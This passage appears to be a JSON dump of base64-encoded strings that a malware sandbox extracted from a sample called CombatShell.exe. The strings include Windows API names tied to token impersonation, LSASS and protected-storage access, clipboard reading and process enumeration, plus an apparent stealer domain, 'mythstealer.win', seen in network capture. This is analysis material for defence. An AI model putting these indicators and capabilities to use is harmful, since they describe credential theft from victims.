Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SFRUUC8xLjEgMjAwIE9LRGF0ZTogU3VuLCAyOSBKdW4gMjAyNSAxMzo1ODoxNCBHTVRDb250ZW50LVR5cGU6IHRleHQvcGxhaW5Db250ZW50LUxlbmd0aDogMTNDb25uZWN0aW9uOiBrZWVwLWFsaXZlQ0YtUkFZOiA5NTc1ZjAwNmVjYzNlZDM3LVNKQ1Zhcnk6IE9yaWdpbmNmLWNhY2hlLXN0YXR1czogRFlOQU1JQ1NlcnZlcjogY2xvdWRmbGFyZXNlcnZlci10aW1pbmc6IGNmTDQ7ZGVzYz0iP3Byb3RvPVRDUCZydHQ9MTUxOCY=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SFRUUC8xLjEgMjAwIE9LRGF0ZTogU3VuLCAyOSBKdW4gMjAyNSAxMzo1ODoxNiBHTVRDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb25Db250ZW50LUxlbmd0aDogMzZDb25uZWN0aW9uOiBrZWVwLWFsaXZlTmVsOiB7InJlcG9ydF90byI6ImNmLW5lbCIsInN1Y2Nlc3NfZnJhY3Rpb24iOjAuMCwibWF4X2FnZSI6NjA0ODAwfUNmLUNhY2hlLVN0YXR1czogRFlOQU1JQ1JlcG9ydC1UbzogeyJncm91cCI6ImNmLW5lbCIsIm1heF9h","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SWNvblNlcnZpY2VMaWI=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SWRsZVRpbWVyV2luZG93","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aWVtb2ppUmVndWxhcmVtb2ppRm9udCBnZW5lcmF0ZWQgYnkgSWNvTW9vbi4=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW1hZ2UgUGF0aA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW1tQXNzb2NpYXRlQ29udGV4dEV4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW1tR2V0Q29tcG9zaXRpb25TdHJpbmdX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW1tR2V0Q29udGV4dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW1tUmVsZWFzZUNvbnRleHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW1tU2V0Q2FuZGlkYXRlV2luZG93","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW1tU2V0Q29tcG9zaXRpb25XaW5kb3c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW1wZXJzb25hdGVBbm9ueW1vdXNUb2tlbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW1wZXJzb25hdGVMb2dnZWRPblVzZXI=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW5pdGlhbGl6ZUNvbmRpdGlvblZhcmlhYmxl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkV4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW5pdGlhbGl6ZVByb2NUaHJlYWRBdHRyaWJ1dGVMaXN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW5pdGlhbGl6ZVNlY3VyaXR5Q29udGV4dFc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW5pdGlhbGl6ZVNSV0xvY2s=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW5pdE9uY2VCZWdpbkluaXRpYWxpemU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW5pdE9uY2VDb21wbGV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW5pdE9uY2VFeGVjdXRlT25jZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW5wcm9jU2VydmVyMzI=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW50ZXJuYWxOYW1l","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW52YWxpZGF0ZVJnbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW9jdGxzb2NrZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SXNDbGlwYm9hcmRGb3JtYXRBdmFpbGFibGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SXNIdnNpQ29udGFpbmVy","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SXNJY29uaWM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SXNQcm9jZXNzRFBJQXdhcmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SXNUYWJsZXRQQw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SXNXb3c2NFByb2Nlc3M=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SXNXb3c2NFByb2Nlc3My","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SVVkbTNkbTJwY29WYmFyQVVkYWhQYTI0","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"a2VybmVsMzIuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"S2VybmVsMzIuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"S0VSTkVMMzIuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"S2V5IE1vZGlmaWVycw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"a2djZGNjQnFhLm0uTQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"S2lsbFRpbWVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TCQoLDV3Kkg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TCQoSDtBYHU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TCQoSGtEJDAwSA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TCQoSGtEJDBISA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TCQoSGtEJDBwSA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TCQwSCNEJDBI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TGFuZ3VhZ2UgSG90a2V5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TGF1bmNoVXNlck9PQkU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TGF5b3V0IEhvdGtleQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TENNYXBTdHJpbmdFeA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TGVhdmVDcml0aWNhbFNlY3Rpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TGVnYWxDb3B5cmlnaHQ=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZEFwcEluaXRfRExMcw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9hZEN1cnNvclc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZEltYWdlVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZExpYnJhcnlB","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZExpYnJhcnlFeEE=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9hZExpYnJhcnlFeFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZExpYnJhcnlX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9jYWxGcmVl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9ja0ZpbGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9ja0ZpbGVFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9uZ1BhdGhzRW5hYmxlZA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bHNhcG9saWN5bG9va3Vw","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bHNhc3NwaXJwYw==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TFREZVZlcmdIZzEy","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"bFRIekdIek1IemtIem1n","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWFjaGluZUd1aWQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWFjaGluZVByZWZlcnJlZFVJTGFuZ3VhZ2Vz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWFwVmlld09mRmlsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWFwVmlydHVhbEtleUV4Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWFwVmlydHVhbEtleVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWF4QUlBVXJsQ291bnRJbkNlcnQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4QUlBVXJsUmV0cmlldmFsQnl0ZUNvdW50","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4QUlBVXJsUmV0cmlldmFsQ2VydENvdW50","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4QUlBVXJsUmV0cmlldmFsQ291bnRQZXJDaGFpbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4SXNzdWVyRGVwdGg=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4UGF0aENvdW50UGVyQ2hhaW4=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4UnBjU2l6ZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4U3hTSGFzaENvdW50","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4VXJsUmV0cmlldmFsQnl0ZUNvdW50","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4VmVyaWZ5U2lnbmF0dXJlQ291bnRQZXJDaGFpbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TURNRW5hYmxlZA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWVzc2FnZUJveFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWluUnNhUHViS2V5Qml0TGVuZ3Ro","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bW5tZm1rbGRsbWw=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"bW9kbmFyb2RIM0EoSA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TW9kdWxlMzJGaXJzdFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TW9kdWxlMzJOZXh0Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TW9uaXRvckZyb21Qb2ludA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TW9uaXRvckZyb21SZWN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TW9uaXRvckZyb21XaW5kb3c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TW92ZUZpbGVFeFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"bXN2Y3J0LmRsbA==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TXVsdGlCeXRlVG9XaWRlQ2hhcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"bXdic3ZwcnBwbXBoa2tocGd5ZGJj","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"bVdiU3ZzclBSUFBNcC5tLlBIbW9sbWlsbWJseGxvZ2xua3RLTUtLaW5IUGhhR3lkQkNvLkM=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"bXl0aHN0ZWFsZXIud2lu","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"bmNhbHJwYzpbbHNhcG9saWN5bG9va3VwXQ==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bmNhbHJwYzpbbHNhc3NwaXJwY10=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bmNhbHJwYzpbcHJvdGVjdGVkX3N0b3JhZ2Vd","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"bmNyeXB0LmRsbA==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TkNyeXB0RnJlZU9iamVjdA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TmRyT2xlRXh0RExM","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Tk5OTk5OTk5OTmdnZ2dOTg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TnRBbGxvY2F0ZVZpcnR1YWxNZW1vcnk=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TnRDYW5jZWxJb0ZpbGVFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TnRDcmVhdGVGaWxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TnREZXZpY2VJb0NvbnRyb2xGaWxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TlRETEwuRExM","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"bnRkbGwuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TnRPcGVuRmlsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TnRPcGVuUHJvY2Vzc1Rva2Vu","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TnRQcm90ZWN0VmlydHVhbE1lbW9yeQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TnRSZWFkRmlsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TnRXcml0ZUZpbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TyUxPUlVYW15","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"b2xlMzIuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T0xFNDIxQzlDNjEyNzlEQkFENzVBNjlCMzYyMzg1RQ==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"b2xlYXV0MzIuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T2xlSW5pdGlhbGl6ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"T25ubm5ubm5ubm5ubm5ubm5nZ2dnZ2dnZ2dnZ24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"T09PT09PT09PT09PT09PTw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"T3BhcXVlS2V5QmxvYg==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T3BlbkNsaXBib2FyZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3BlbmdsMzIuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T3BlbkdMUHJvZmlsZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T3BlbkdMVmVyc2lvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T3BlblByb2Nlc3M=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T3BlblByb2Nlc3NUb2tlbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T3JpZ2luYWxGaWxlbmFtZQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"T3V0cHV0RGVidWdTdHJpbmdB","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T3V0cHV0RGVidWdTdHJpbmdX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UFtdX15BXEFeQV8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UGFnZUFsbG9jYXRvclN5c3RlbUhlYXBJc1ByaXZhdGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGFnZUFsbG9jYXRvclVzZVN5c3RlbUhlYXA=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGVla01lc3NhZ2VX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UGVybWlzc2lvbnM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UEZYRXhwb3J0Q2VydFN0b3Jl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UEZYSW1wb3J0Q2VydFN0b3Jl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGluUnVsZXM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGluUnVsZXNFbmNvZGVkQ3Rs","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGluUnVsZXNMYXN0U3luY1RpbWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGluUnVsZXNMb2dEaXI=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"$54","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"UG9zdE1lc3NhZ2VX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UG9zdFF1ZXVlZENvbXBsZXRpb25TdGF0dXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHBwcHBwcHBwcHBwcHBwcGdnZ2dnZ2dnZ2dncHBwcHBwcHBwcHBwcHBw","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UHJlZmVyRXh0ZXJuYWxNYW5pZmVzdA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJlZmVycmVkVUlMYW5ndWFnZXM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJpdmF0ZUtleUxpZmV0aW1lU2Vjb25kcw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJpdktleUNhY2hlTWF4SXRlbXM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJpdktleUNhY2hlUHVyZ2VJbnRlcnZhbFNlY29uZHM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2VzczMyRmlyc3Q=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2VzczMyRmlyc3RX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2VzczMyTmV4dA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2VzczMyTmV4dFc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2Vzc1Bybmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UHJvZHVjdE5hbWU=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UHJvZHVjdFZlcnNpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"cHJvdGVjdGVkX3N0b3JhZ2U=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJveHlFbmFibGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJveHlPdmVycmlkZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJveHlTZXJ2ZXI=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UThIO0QkYHJV","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"cXFxcXFxcXFnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UXVlcnlDb250ZXh0QXR0cmlidXRlc1c=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UXVlcnlQZXJmb3JtYW5jZUNvdW50ZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UXVlcnlQZXJmb3JtYW5jZUZyZXF1ZW5jeQ==","type":"Ansi","source":"Memory/File 